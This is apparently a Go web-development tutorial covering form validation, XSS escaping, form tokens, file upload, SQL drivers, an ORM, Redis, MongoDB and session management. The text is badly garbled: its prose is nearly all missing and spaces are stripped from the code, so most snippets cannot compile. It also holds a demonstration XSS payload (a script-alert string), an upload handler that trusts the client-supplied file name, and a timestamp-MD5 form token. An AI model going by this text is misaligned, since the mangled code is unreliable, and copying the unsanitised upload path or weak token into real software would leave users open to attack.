<inputtype="radio"name="gender"value="1"><inputtype="radio"name="gender"value="2">

slice:=[]int{1,2}

for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse

<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">

slice

slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}

returnfalse

Slice_diff(slicemap) https://github.com/astaxie/beeku

845

Gotime

t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())

time

1518

//1515ifm,_:=regexp.MatchString(`^(\d{15})$`,r.Form.Get("usercard"));!m{returnfalse}

//181817X

ifm,_:=regexp.MatchString(`^(\d{17})([0-9]|X)$`,r.Form.Get("usercard"));!m{returnfalse}

GoGo

links

::

4.3Web“”CrossSiteScripting,XSS

JavaScriptVBScriptActiveXFlash/cookie

XSS();

GoGohtml/template

funcHTMLEscape(wio.Writer,b[]byte)//bwfuncHTMLEscapeString(sstring)string//sfuncHTMLEscaper(args...interface{})string//

4.1

fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//

username<script>alert()</script>,

4.3Javascript

Gohtml/templatehtml <script>alert()</script>text/template

import"text/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Hello,<script>alert('youhavebeenpwned')</script>!

template.HTML

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))

Hello,<script>alert('youhavebeenpwned')</script>!

template.HTML

import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")

Hello,&lt;script&gt;alert(&#39;youhavebeenpwned&#39;)&lt;/script&gt;!

links

::

4.4——

Ajaxjavascript

4.2

<inputtype="checkbox"name="interest"value="football"><inputtype="checkbox"name="interest"value="basketball"><inputtype="checkbox"name="interest"value="tennis">:<input type="text"name="username">:<input type="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="" >

tokenMD5()(session)

funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//r.ParseForm()token:=r.Form.Get("token")iftoken!=""{//token}else{//token}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//fmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//}}

4.4token

tokenform

links

::

4.5Instagram

form enctype enctype:

application/x-www-form-urlencodedmultipart/form-datatext/plain "+"

html,upload.gtpl,html:

<html><head><title> </title></head><body><formenctype="multipart/form-data"action="/upload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>

handlerFunc:

http.HandleFunc("/upload",upload)

///uploadfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))

t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")

iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)//testiferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}

r.ParseMultipartFormmaxMemoryParseMultipartForm maxMemorymaxMemory r.FormFile io.Copy

r.ParseFormGo ParseMultipartForm

1. enctype="multipart/form-data"2. r.ParseMultipartForm,3. r.FormFile

handlermultipart.FileHeader,

typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}

4.5

Go

packagemain

import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")

funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)

//fileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}

//fh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}deferfh.Close()

//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}

contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()

resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}

//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}

multipart.WritehttpPost

usernamemultipartWriteField

links

::

4.6GoGoformGo

links

::

5Web

GoGodatabase/sql5.1GoGo5.25.45.5ORMdatabase/sqldatabase/sqlGostyle

NOSQLWebNOSQL5.6MongoDBRedisNOSQL

Godatabase/sqltutorial

links

:: database/sql

5.1database/sqlGoPHPGoGo

sql.Register

database/sqlinitinit Register(namestring,driverdriver.Driver)

mymysqlsqlite3

//https://github.com/mattn/go-sqlite3funcinit(){

sql.Register("sqlite3",&SQLiteDriver{})}

//https://github.com/mikespook/mymysql//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}

driverdatabase/sqlmap

vardrivers=make(map[string]driver.Driver)

drivers[name]=driver

database/sql

database/sql:

import("database/sql"_"github.com/mattn/go-sqlite3")

_Go _

2.3initinitinitinit

driver.Driver

DrivermethodOpen(namestring)Conn

typeDriverinterface{Open(namestring)(Conn,error)}

ConngoroutineConnGogoroutine

...gogoroutineA(Conn)//gogoroutineB(Conn)//...

Gogoroutine,goroutineAgoroutineBB

nameConn

driver.Conn

ConnConngoroutinegoroutine

typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}

PrepareSql

Closedatabase/sqlconnpoolconn

BeginTx,

driver.Stmt

StmtConngoroutinegoroutine

typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}

Closequeryqueryrows

NumInput>=0-1

ExecPreparesqlupdate/insertResult

QueryPreparesqlselectRows

driver.Tx

typeTxinterface{Commit()errorRollback()error}

driver.Execer

Conn

typeExecerinterface{Exec(querystring,args[]Value)(Result,error)}

DB.Exec,PrepareStmtStmtExecStmt

driver.Result

Update/Insert

typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}

LastInsertIdID

RowsAffectedquery

driver.Rows

Rows

typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}

Columnsslicesql

CloseRows

Nextdestdestdriver.Valuestringstring[]byteNextio.EOF

driver.RowsAffected

RowsAffectedint64ResultResult

typeRowsAffectedint64

func(RowsAffected)LastInsertId()(int64,error)

func(vRowsAffected)RowsAffected()(int64,error)

driver.Value

Value

typeValueinterface{}

driveValueValueValuenil

int64float64bool[]bytestring[*] Rows.Next string.time.Time

driver.ValueConverter

ValueConverterdriver.Value

typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}

ValueConverter

driver.valueint64uint16driver.Valuescandriver.Value

driver.Valuer

Valuerdriver.Value

typeValuerinterface{Value()(Value,error)}

Valuedriver.Value

database/sql

database/sqldatabase/sql/driver,connpool

typeDBstruct{driverdriver.Driverdsnstring

musync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}

OpenDBfreeConnDb.prepare deferdb.putConn(ci,err),connfreeConn00conn0conn,

links

:: MySQL

5.2 MySQLInternetLAMPMMySQL,MySQLWeb

MySQL

GoMySQLdatabase/sql,:

https://github.com/go-sql-driver/mysqldatabase/sqlgohttps://github.com/ziutek/mymysqldatabase/sqlgohttps://github.com/Philio/GoMySQLdatabase/sqlgo

()

database/sqlkeepalive, forkmymysqlkeepalivekeepalive

testuserinfouserdetail

CREATETABLE`userinfo`(`uid`INT(10)NOTNULLAUTO_INCREMENT,`username`VARCHAR(64)NULLDEFAULTNULL,`departname`VARCHAR(64)NULLDEFAULTNULL,`created`DATENULLDEFAULTNULL,PRIMARYKEY(`uid`));

CREATETABLE`userdetail`(`uid`INT(10)NOTNULLDEFAULT'0',`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`))

database/sql

packagemain

import(_"github.com/go-sql-driver/mysql""database/sql""fmt"//"time")

funcmain(){db,err:=sql.Open("mysql","astaxie:astaxie@/test?charset=utf8")checkErr(err)

//stmt,err:=db.Prepare("INSERTuserinfoSETusername=?,departname=?,created=?")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()

checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

GoMysql

sql.Open()go-sql-drivermysqlDSN(DataSourceName)go-sql-driver

user@unix(/path/to/socket)/dbname?charset=utf8user:password@tcp(localhost:5555)/dbname?charset=utf8user:password@/dbnameuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname

db.Prepare()sql

db.Query()SqlRows

stmt.Exec()stmtSQL

=?SQL

links

: database/sql

: SQLite

5.3 SQLiteSQLiteSQLSQLite,SQLiteSQLiteSQLiteAccess

Gosqlitedatabase/sql

https://github.com/mattn/go-sqlite3database/sqlcgo(cgo)https://github.com/feyeleanor/gosqlite3database/sqlcgohttps://github.com/phf/go-sqlite3database/sqlcgo

database/sqlSQLite

SQL

CREATETABLE`userinfo`(`uid`INTEGERPRIMARYKEYAUTOINCREMENT,`username`VARCHAR(64)NULL,`departname`VARCHAR(64)NULL,`created`DATENULL);

CREATETABLE`userdeatail`(`uid`INT(10)NULL,`intro`TEXTNULL,`profile`TEXTNULL,PRIMARYKEY(`uid`));

Go:

packagemain

import("database/sql""fmt""time"_"github.com/mattn/go-sqlite3")

funcmain(){db,err:=sql.Open("sqlite3","./foo.db")checkErr(err)

//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)values(?,?,?)")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

id,err:=res.LastInsertId()checkErr(err)

fmt.Println(id)//stmt,err=db.Prepare("updateuserinfosetusername=?whereuid=?")checkErr(err)

res,err=stmt.Exec("astaxieupdate",id)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedtime.Timeerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=?")checkErr(err)

res,err=stmt.Exec(id)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

MySQL sql.OpenSQLite

sqlite http://sqliteadmin.orbmu2k.de/

links

: MySQL: PostgreSQL

5.4 PostgreSQLPostgreSQL-()BSD-(MySQLFirebird)OracleSybaseIBMDB2MicrosoftSQLServer

PostgreSQLMySQLOraclePostgreSQL

MySQLOracleMySQL5.5.31GPLPostgreSQLMySQL

GoPostgreSQL

https://github.com/lib/pqdatabase/sqlGohttps://github.com/jbarham/gopgsqldriverdatabase/sqlGohttps://github.com/lxn/go-pgsqldatabase/sqlGo

github

CREATETABLEuserinfo(uidserialNOTNULL,usernamecharactervarying(100)NOTNULL,departnamecharactervarying(500)NOTNULL,Createddate,

CONSTRAINTuserinfo_pkeyPRIMARYKEY(uid))WITH(OIDS=FALSE);

CREATETABLEuserdeatail(uidinteger,introcharactervarying(100),profilecharactervarying(100))WITH(OIDS=FALSE);

Go:

packagemain

import("database/sql""fmt"_"github.com/lib/pq")

funcmain(){db,err:=sql.Open("postgres","user=astaxiepassword=astaxiedbname=testsslmode=disable")checkErr(err)

//stmt,err:=db.Prepare("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)RETURNINGuid")checkErr(err)

res,err:=stmt.Exec("astaxie","" ,"2012-12-09")checkErr(err)

//pgMySQLID//id,err:=res.LastInsertId()//checkErr(err)//fmt.Println(id)

varlastInsertIdinterr=db.QueryRow("INSERTINTOuserinfo(username,departname,created)VALUES($1,$2,$3)returninguid;","astaxie","" ,"201

2-12-09").Scan(&lastInsertId)checkErr(err)fmt.Println("id=" ,lastInsertId)

//stmt,err=db.Prepare("updateuserinfosetusername=$1whereuid=$2")checkErr(err)

res,err=stmt.Exec("astaxieupdate",1)checkErr(err)

affect,err:=res.RowsAffected()checkErr(err)

fmt.Println(affect)

//rows,err:=db.Query("SELECT*FROMuserinfo")checkErr(err)

forrows.Next(){varuidintvarusernamestringvardepartmentstringvarcreatedstringerr=rows.Scan(&uid,&username,&department,&created)checkErr(err)fmt.Println(uid)fmt.Println(username)fmt.Println(department)fmt.Println(created)}

//stmt,err=db.Prepare("deletefromuserinfowhereuid=$1")checkErr(err)

res,err=stmt.Exec(1)checkErr(err)

affect,err=res.RowsAffected()checkErr(err)

fmt.Println(affect)

db.Close()

}

funccheckErr(errerror){iferr!=nil{panic(err)}}

PostgreSQL $1,$2MySQL ?sql.OpendsnMySQLdsn

pgLastInsertIdPostgreSQLMySQLID

links

: SQLite: BeegoormORM

5.5 Beegoorm ORMbeegoormGoORMGostylestructbeegoormGoORMORMORMbeegoormGoORM

beegoormdatabase/sqlORMdatabase/sqlbeegoorm

Mysql:github/go-mysql-driver/mysql

PostgreSQL:github.com/bmizerany/pq

SQLite:github.com/mattn/go-sqlite3

Mysql:github.com/ziutek/mymysql/godrv

:

MsSql:github.com/denisenkom/go-mssqldb

MSADODB:github.com/mattn/go-adodb

Oracle:github.com/mattn/go-oci8

ODBC:bitbucket.org/miquella/mgodbc

beegoormgogetGoStyle

gogetgithub.com/astaxie/beego

importdatabase/sqlbeegoorm

import("database/sql""github.com/astaxie/beego/orm"_"github.com/go-sql-driver/mysql")

funcinit(){//orm.RegisterDataBase("default","mysql","root:root@/my_db?charset=utf8",30)//modelorm.RegisterModel(new(User))

//tableorm.RunSyncdb("default",false,true)}

PostgreSQL:

////_"github.com/lib/pq"

//orm.RegisterDriver("postgres",orm.DR_Postgres)

////PostgresQLpostgreszxxxtestdefaultorm.RegisterDataBase("default","postgres","user=postgrespassword=zxxxdbname=testhost=127.0.0.1port=5432sslmode=disable")

MySQL:

////_"github.com/go-sql-driver/mysql"

//orm.RegisterDriver("mysql",orm.DR_MySQL)

////mysqlrootzxxxtestdefaultorm.RegisterDataBase("default","mysql","root:zxxx@/test?charset=utf8")

Sqlite:

////_"github.com/mattn/go-sqlite3"

//orm.RegisterDriver("sqlite",orm.DR_Sqlite)

////. /datas/test.dbdefaultorm.RegisterDataBase("default","sqlite3","./datas/test.db")

package,beegoormMySQL)beegoorm:

funcmain(){orm:=orm.NewOrm()}

:

packagemain

import("fmt""github.com/astaxie/beego/orm"_"github.com/go-sql-driver/mysql"//)

//ModelStructtypeUserstruct{IdintNamestring`orm:"size(100)"`}

funcinit(){//orm.RegisterDataBase("default","mysql","root:root@/my_db?charset=utf8",30)

//modelorm.RegisterModel(new(User))//RegisterModelmodel//orm.RegisterModel(new(User),new(Profile),new(Post))

//tableorm.RunSyncdb("default",false,true)}

funcmain(){o:=orm.NewOrm()

user:=User{Name:"slene"}

//id,err:=o.Insert(&user)fmt.Printf("ID:%d,ERR:%v\n",id,err)

//user.Name="astaxie"num,err:=o.Update(&user)fmt.Printf("NUM:%d,ERR:%v\n",num,err)

//oneu:=User{Id:user.Id}err=o.Read(&u)fmt.Printf("ERR:%v\n",err)

//num,err=o.Delete(&u)fmt.Printf("NUM:%d,ERR:%v\n",num,err)}

SetMaxIdleConns

orm.SetMaxIdleConns("default",30)

SetMaxOpenConns

(go>=1.2)

orm.SetMaxOpenConns("default",30)

beegoorm

orm.Debug=true

Userstruct

typeUserinfostruct{Uidint`PK`//idpkUsernamestringDepartnamestringCreatedtime.Time}

typeUserstruct{Uidint`PK`//idpkNamestringProfile*Profile`orm:"rel(one)"`//OneToOnerelationPost[]*Post`orm:"reverse(many)"`//}

typeProfilestruct{IdintAgeint16User*User`orm:"reverse(one)"`//()}

typePoststruct{IdintTitlestringUser*User`orm:"rel(fk)"`//Tags[]*Tag`orm:"rel(m2m)"`}

typeTagstruct{IdintNamestringPosts[]*Post`orm:"reverse(many)"`}

funcinit(){//initmodelorm.RegisterModel(new(Userinfo),new(User),new(Profile),new(Tag))}

beegoormStruct Useruser_info

structsqlInsert

o:=orm.NewOrm()varuserUseruser.Name="zxxx"user.Departname="zxxx"

id,err:=o.Insert(&user)iferr==nil{fmt.Println(id)}

user.UidID

:InsertMulti

sql

insertintotable(name,age)values("slene",28),("astaxie",30),("unknown",20)

bulkslice

users:=[]User{{Name:"slene"},{Name:"astaxie"},{Name:"unknown"},...

}successNums,err:=o.InsertMulti(100,users)

bulk1slice

userInsertbeegoormupdate

o:=orm.NewOrm()user:=User{Uid:1}ifo.Read(&user)==nil{user.Name="MyName"ifnum,err:=o.Update(&user);err==nil{fmt.Println(num)}}

Update

//Nameo.Update(&user,"Name")////o.Update(&user,"Field1","Field2",...)

//Where:Where("=?",)

beegoorm

1

o:=orm.NewOrm()varuserUser

user:=User{Id:1}

err=o.Read(&user)

iferr==orm.ErrNoRows{fmt.Println("" )}elseiferr==orm.ErrMissPK{fmt.Println("" )}else{fmt.Println(user.Id,user.Name)}

2

o:=orm.NewOrm()varuserUser

qs:=o.QueryTable(user)//QuerySeterqs.Filter("id",1)//WHEREid=1qs.Filter("profile__age",18)//WHEREprofile.age=18

3WHEREIN

qs.Filter("profile__age__in",18,20)//WHEREprofile.ageIN(18,20)

4

qs.Filter("profile__age__in",18,20).Exclude("profile__lt",1000)//WHEREprofile.ageIN(18,20)ANDNOTprofile_id<1000

1age>172010

varallusers[]Userqs.Filter("profile__age__gt",17)//WHEREprofile.age>17

2limit1010

qs.Limit(10,20)//LIMIT10OFFSET20SQL

beedb

1

o:=orm.NewOrm()ifnum,err:=o.Delete(&User{Id:1});err==nil{fmt.Println(num)}

DeletePostUserUseron_deletePost

beegoorm

typePoststruct{Idint`orm:"auto"`Titlestring`orm:"size(100)"`User*User`orm:"rel(fk)"`}

varposts[]*Postqs:=o.QueryTable("post")num,err:=qs.Filter("User__Name","slene").All(&posts)

struct

GroupBy Having

groupbybeegoorm

qs.OrderBy("id","-profile__age")//ORDERBYidASC,profile.ageDESC

qs.OrderBy("-profile__age","profile")//ORDERBYprofile.ageDESC,profile_idASC

GroupBy:groupby

Having:having

##sql

:

o:=NewOrm()varrRawSeter

r=o.Raw("UPDATEuserSETname=?WHEREname=?","testing","slene")

sql:

func(m*User)Query(namestring)[]User{varoorm.Ormervarrsorm.RawSetero=orm.NewOrm()rs=o.Raw("SELECT*FROMuser"+"WHEREname=?ANDuid>10"+"ORDERBYuidDESC"+"LIMIT100",name)varuser[]Usernum,err:=rs.QueryRows(&user)iferr!=nil{fmt.Println(err)}else{fmt.Println(num)returnuser}}

, beego.me

beegoorm

links

: PostgreSQL: NOSQL

5.6NOSQLNoSQL(NotOnlySQL)Web2.0Web2.0SNSWeb2.0

Go21CNOSQLNOSQLredismongoDBCassandraMembaseredismongoDB

redis

rediskey-valueMemcachedvaluestring()list()set()zset()

redisFacebookinstagram

Goredis

https://github.com/garyburd/redigo()https://github.com/go-redis/redishttps://github.com/hoisie/redishttps://github.com/alphazero/Go-Redishttps://github.com/simonz05/godis

redigo:

packagemain

import("fmt""github.com/garyburd/redigo/redis""os""os/signal""syscall""time")

var(Pool*redis.Pool

)

funcinit(){redisHost:=":6379"Pool=newPool(redisHost)close()}

funcnewPool(serverstring)*redis.Pool{

return&redis.Pool{

MaxIdle:3,IdleTimeout:240*time.Second,

Dial:func()(redis.Conn,error){c,err:=redis.Dial("tcp",server)iferr!=nil{returnnil,err}returnc,err},

TestOnBorrow:func(credis.Conn,ttime.Time)error{_,err:=c.Do("PING")returnerr},}}

funcclose(){c:=make(chanos.Signal,1)signal.Notify(c,os.Interrupt)signal.Notify(c,syscall.SIGTERM)signal.Notify(c,syscall.SIGKILL)gofunc(){<-cPool.Close()os.Exit(0)}()}

funcGet(keystring)([]byte,error){

conn:=Pool.Get()deferconn.Close()

vardata[]bytedata,err:=redis.Bytes(conn.Do("GET",key))iferr!=nil{returndata,fmt.Errorf("errorgetkey%s:%v",key,err)}returndata,err}

funcmain(){test,err:=Get("test")fmt.Println(test,err)}

forkbug(200WPV)

https://github.com/astaxie/goredis

forkredis

packagemain

import("github.com/astaxie/goredis""fmt")

funcmain(){varclientgoredis.Client//redisclient.Addr="127.0.0.1:6379"

//client.Set("a",[]byte("hello"))val,_:=client.Get("a")fmt.Println(string(val))client.Del("a")

//listvals:=[]string{"a","b","c","d","e"}for_,v:=rangevals{

client.Rpush("l",[]byte(v))}dbvals,_:=client.Lrange("l",0,4)fori,v:=rangedbvals{println(i,":",string(v))}client.Del("l")}

redisclientredisredis

mongoDB

MongoDBjsonbjsonMongo

mysqlmongoDBmongoDB

5.1MongoDBMysql

GomongoDBmgopkg

mgo:

gogetgopkg.in/mgo.v2

GomongoDB

packagemain

import("fmt""gopkg.in/mgo.v2""gopkg.in/mgo.v2/bson""log")

typePersonstruct{NamestringPhonestring}

funcmain(){session,err:=mgo.Dial("server1.example.com,server2.example.com")iferr!=nil{panic(err)}defersession.Close()

//Optional.Switchthesessiontoamonotonicbehavior.session.SetMode(mgo.Monotonic,true)

c:=session.DB("test").C("people")err=c.Insert(&Person{"Ale","+555381169639"},&Person{"Cla","+555384028510"})iferr!=nil{log.Fatal(err)

}

result:=Person{}err=c.Find(bson.M{"name":"Ale"}).One(&result)iferr!=nil{log.Fatal(err)}

fmt.Println("Phone:",result.Phone)}

mgobeedbstructGoStyle

links

: BeegoormORM:

5.7Godatabase/sqlbeedbORMNOSQLGoNOSQLGo21C21

Webdatabase/sql

Godatabase/sqltutorial

links

: NOSQL: session

6session

WebHTTPWebWebcookiesessioncookiesession,sessionID,:url,cookies.,Session,,

6.1sessioncookie6.2Gosessionsession6.3sessionsessionsession6.3sessionsessionsession(memcacheredis)6.4

links

:: sessioncookie

6.1session cookiesessioncookiesessioncookie

“”“”

“”POSTHTTPHTTPrequest()cookiesession

cookieHTTPcookie

6.1cookie

sessionsessionidsessionsessionidsessioncookiesessionidGETid

6.2session

cookie

CookieWebWebcookiecookiecookies

6.3cookie

cookiecookiecookie

cookiecookiecookiecookiecookie

(setMaxAge(606024))cookiecookiecookieIEcookie

Go cookie

Gonet/httpSetCookie

http.SetCookie(wResponseWriter,cookie*Cookie)

wresponsecookiestructcookie

typeCookiestruct{NamestringValuestringPathstringDomainstringExpirestime.TimeRawExpiresstring

//MaxAge=0meansno'Max-Age'attributespecified.//MaxAge<0meansdeletecookienow,equivalently'Max-Age:0'//MaxAge>0meansMax-AgeattributepresentandgiveninsecondsMaxAgeintSecureboolHttpOnlyboolRawstringUnparsed[]string//Rawtextofunparsedattribute-valuepairs}

cookie

expiration:=time.Now()expiration=expiration.AddDate(1,0,0)cookie:=http.Cookie{Name:"username",Value:"astaxie",Expires:expiration}http.SetCookie(w,&cookie)

Go cookie

cookiecookie

cookie,_:=r.Cookie("username")fmt.Fprint(w,cookie)

for_,cookie:=ranger.Cookies(){fmt.Fprint(w,cookie.Name)}

requestcookie

session

session/sessionsession“”/“”

sessionWebSession

session()

sessionsessionsessionidsessionidsessionsessionidsession(sessionURLJSESSION)sessionidsessionsessionsessionidsessionid

session

sessioncookiehttpsessioncookiesessionidsessioncookiecookiecookiecookie1.appABcookieBcookie2.XSSappAjavascriptdocument.cookieappB

cookiesessionwebbugsession

links

: session: Gosession

6.2Go sessionsessionGosessiongosession

session

sessionWebsession

sessionidI/Osessionsessionsession

sessionHTTPBodycookieURL

1. CookieSet-cookiesessionsessioncookie0(cookie)0()2. URLURLURLsessionsessioncookie

Go session

sessionsessionsessionsessionlifecyclegosession

session

session

sessionsessionidsessionsession()session

sessiongo

Session

session

typeManagerstruct{cookieNamestring//privatecookienamelocksync.Mutex//protectssessionproviderProvidermaxlifetimeint64}

funcNewManager(provideName,cookieNamestring,maxlifetimeint64)(*Manager,error){provider,ok:=provides[provideName]if!ok{returnnil,fmt.Errorf("session:unknownprovide%q(forgottenimport?)",provideName)}return&Manager{provider:provider,cookieName:cookieName,maxlifetime:maxlifetime},nil}

Gomainsession

varglobalSessions*session.Manager//initfuncinit(){globalSessions,_=NewManager("memory","gosessionid",3600)}

sessionProvidersession

typeProviderinterface{SessionInit(sidstring)(Session,error)SessionRead(sidstring)(Session,error)SessionDestroy(sidstring)errorSessionGC(maxLifeTimeint64)}

SessionInitSessionSessionSessionReadsidSessionsidSessionInitSessionSessionDestroysidSessionSessionGCmaxLifeTime

SessionWebSessionsessionIDSession

typeSessioninterface{Set(key,valueinterface{})error//setsessionvalueGet(keyinterface{})interface{}//getsessionvalueDelete(keyinterface{})error//deletesessionvalueSessionID()string//backcurrentsessionID}

database/sql/driversessionsessionRegister

varprovides=make(map[string]Provider)

//Registermakesasessionprovideavailablebytheprovidedname.//IfRegisteriscalledtwicewiththesamenameorifdriverisnil,//itpanics.funcRegister(namestring,providerProvider){

ifprovider==nil{panic("session:Registerprovideisnil")}if_,dup:=provides[name];dup{panic("session:Registercalledtwiceforprovide"+name)}provides[name]=provider}

SessionID

SessionIDWebGUID

func(manager*Manager)sessionId()string{b:=make([]byte,32)if_,err:=io.ReadFull(rand.Reader,b);err!=nil{return""}returnbase64.URLEncoding.EncodeToString(b)}

session

SessionSessionSessionStartSession

func(manager*Manager)SessionStart(whttp.ResponseWriter,r*http.Request)(sessionSession){manager.lock.Lock()defermanager.lock.Unlock()cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{sid:=manager.sessionId()session,_=manager.provider.SessionInit(sid)cookie:=http.Cookie{Name:manager.cookieName,Value:url.QueryEscape(sid),Path:"/",HttpOnly:true,MaxAge:int(manager.maxlifetime)}

http.SetCookie(w,&cookie)}else{sid,_:=url.QueryUnescape(cookie.Value)session,_=manager.provider.SessionRead(sid)}return}

loginsession

funclogin(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)r.ParseForm()ifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("username"))}else{sess.Set("username",r.Form["username"])http.Redirect(w,r,"/",302)}}

SessionStartSessionsession

session.Get("uid"):

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+360)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)

}ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

Sessionkey/value:SetGetDelete

SessionGCGCGCsessionSessionGCSession

session

Websessionsession

//Destroysessionidfunc(manager*Manager)SessionDestroy(whttp.ResponseWriter,r*http.Request){cookie,err:=r.Cookie(manager.cookieName)iferr!=nil||cookie.Value==""{return}else{manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionDestroy(cookie.Value)expiration:=time.Now()cookie:=http.Cookie{Name:manager.cookieName,Path:"/",HttpOnly:true,Expires:expiration,MaxAge:-1}http.SetCookie(w,&cookie)}}

session

Session,Main

funcinit(){goglobalSessions.GC()}

func(manager*Manager)GC(){manager.lock.Lock()defermanager.lock.Unlock()manager.provider.SessionGC(manager.maxlifetime)time.AfterFunc(time.Duration(manager.maxlifetime),func(){manager.GC()})}

GCtime maxLifeTimeGC maxLifeTimesession

WebSessionSessionManagerSessionProvider,Provider,

links

: sessioncookie: session

6.3sessionSessionsessionsession

packagememory

import("container/list""github.com/astaxie/session""sync""time")

varpder=&Provider{list:list.New()}

typeSessionStorestruct{sidstring//sessionidtimeAccessedtime.Time//valuemap[interface{}]interface{}//session}

